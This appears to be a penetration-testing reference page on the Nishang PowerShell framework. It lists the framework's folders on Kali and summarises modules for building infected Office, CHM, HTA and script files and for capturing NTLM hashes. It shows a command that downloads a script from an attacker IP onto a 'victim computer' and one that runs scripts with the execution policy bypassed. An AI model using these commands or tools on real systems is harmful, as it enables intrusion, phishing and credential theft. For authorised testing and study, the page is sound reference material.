Nishang

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of pene

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.

Link: https://github.com/samratashok/nishangarrow-up-right

Also installed by default on Kali:

root@kali:~# ls -l /usr/share/nishang/ 
total 48 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Antak-WebShell 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Backdoors 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Escalation 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Execution 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Gather 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Misc 
-rw-r--r-- 1 root root  495 Jun  4 11:14 nishang.psm1 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Pivot 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 powerpreter 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Prasadhak 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Scan 
drwxr-xr-x 2 root root 4096 Jun  4 11:15 Utility 

We will need to upload the nishang scripts into the victim computer:

powershell iwr -uri 10.10.14.14/{Nishang script}

Load the script:

powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1

Scripts

Nishang currently contains the following scripts and payloads.

ActiveDirectory

Antak – the Webshell

  • Antakarrow-up-right – Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell.

Backdoors

Bypass

Client

  • Out-CHMarrow-up-right – Create infected CHM files which can execute PowerShell commands and scripts.

  • Out-Wordarrow-up-right – Create Word files and infect existing ones to run PowerShell commands and scripts.

  • Out-Excelarrow-up-right – Create Excel files and infect existing ones to run PowerShell commands and scripts.

  • Out-HTAarrow-up-right – Create a HTA file which can be deployed on a web server and used in phishing campaigns.

  • Out-Javaarrow-up-right – Create signed JAR files which can be used with applets for script and command execution.

  • Out-Shortcutarrow-up-right – Create shortcut files capable of executing PowerShell commands and scripts.

  • Out-WebQueryarrow-up-right – Create IQY files for phishing credentials and SMB hashes.

  • Out-JSarrow-up-right – Create JS files capable of executing PowerShell commands and scripts.

  • Out-SCTarrow-up-right – Create SCT files capable of executing PowerShell commands and scripts.

  • Out-SCFarrow-up-right – Create a SCF file which can be used for capturing NTLM hash challenges.

Escalation

Execution

Gather

MITM

Pivot

Prasadhak

Scan

Powerpreter

Shells

Utility

Last updated